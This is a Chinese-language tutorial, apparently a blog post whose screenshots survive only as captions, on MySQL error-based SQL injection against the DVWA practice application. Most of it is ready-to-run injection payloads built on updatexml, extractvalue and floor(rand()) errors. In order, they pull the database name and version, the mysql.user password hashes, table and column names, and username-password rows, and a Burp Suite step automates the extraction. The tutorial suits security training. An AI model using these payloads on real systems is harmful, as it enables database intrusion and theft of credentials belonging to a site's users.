数据库显错是指,数据库在执行时,遇到语法不对,会显示报错信息,例如
错误语句 select 1'

mysql 注入延迟 mysql报错注入_字段名

程序开发期间需要告诉使用者某些报错信息 方便管理员进行调试,定位文件错误。特别 php 在执行 SQL 语句时一般都会采用异常处理函数,捕获错误信息。
在 php 中 使用 mysql_error()函数。如果 SQL 注入存在时,会有报错信息返回,可以采用报错注入。

一、代码分析

mysql 注入延迟 mysql报错注入_web安全_02

如果语法错误,msqli_error()、mysqli_connect_error()会将语法错误信息显示到页面上。

二、报错注入攻击

判断是否存在报错注入,输入单引号,如果报错有可能存在报错注入。如果拼接 SQL 语句带入到 mysql 执行即存在报错注入。
输入 1' and info()--+ 显示当前库,原理是:
SELECT first_name, last_name FROM users WHERE user_id = '1' and info()--
会报错显示当前库不存在这个函数 这样当前库名就显示在页面上。

mysql 注入延迟 mysql报错注入_web安全_03


mysql 注入延迟 mysql报错注入_mysql 注入延迟_04

三、获取数据库敏感信息

1、获取当前用户、数据库名,版本信息

输入构造的攻击语句,页面返回数据库信息。

1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

mysql 注入延迟 mysql报错注入_字段名_05

把 user()替换成其他的函数 version() 、database(),就能得到 mysql 得版本信息和当前库名。


1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
1' and updatexml(1,concat(0x7e,(select version()),0x7e),1)--+

mysql 注入延迟 mysql报错注入_表名_06


mysql 注入延迟 mysql报错注入_表名_07

2、其他报错函数

但是采用 updatexml 报错函数,只能显示 32 长度的内容,如果获取的内容超过 32 字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
除了 updatexml 函数支持报错注入外,mysql 还有很多函数支持报错。
1.extractvalue()

1' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

mysql 注入延迟 mysql报错注入_mysql_08

四、黑盒模式下的报错注入

在黑盒模式下的报错注入,首先获取当前库,通过库获取表名,接着通过表名获取字段,最后获取字段内容。

1、获取库名

注入以下语句均可获取库名:
1' and info()--+
1' and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
得到库名 dvwa

mysql 注入延迟 mysql报错注入_表名_09

2、获取mysql账号和密码

1' and updatexml(1,concat(0x7e,(select (select authentication_string from mysql.user limit 1 )),0x7e),1)--+

1' and updatexml(1,concat(0x7e,(select (substring((select authentication_string from mysql.user limit 1),32,40))),0x7e),1)--+

mysql 注入延迟 mysql报错注入_表名_10


mysql 注入延迟 mysql报错注入_web安全_11

3、获取表名

通过 mysql 内置库 information_schema 通过构造 SQL 语句查询获取表名,采用 floor 报错并不会存在长度问题
查询第一个表名:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入延迟 mysql报错注入_表名_12

将 LIMIT 0,1 改成 1,1 表是第二个表名
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入延迟 mysql报错注入_web安全_13

4、获取字段

4.1、获取第一个字段名

在获取表名之后就可以获取字段名,如获取 usrs 的字段名。
获取第一个字段名:
1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='users' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入延迟 mysql报错注入_表名_14

4.2、burpsuite获取字段名

mysql 注入延迟 mysql报错注入_字段名_15


mysql 注入延迟 mysql报错注入_web安全_16


mysql 注入延迟 mysql报错注入_web安全_17


mysql 注入延迟 mysql报错注入_mysql 注入延迟_18


mysql 注入延迟 mysql报错注入_web安全_19

5、获取某表对应字段内容

5.1、抓包

现在已经获取 users 表的名字和它的字段名,接下来可以对内容进行查询。
1' and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,user,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

mysql 注入延迟 mysql报错注入_mysql_20

如果存在多个用户,把 limit 0,1 改成 1,1 如此类推直到获取最后一个用户为止。
使用 busrpsuite 对用户获取

mysql 注入延迟 mysql报错注入_字段名_21


mysql 注入延迟 mysql报错注入_mysql 注入延迟_22

5.2、设置过滤网页响应内容

mysql 注入延迟 mysql报错注入_mysql_23


mysql 注入延迟 mysql报错注入_mysql 注入延迟_24

5.3 获取结果

mysql 注入延迟 mysql报错注入_mysql_25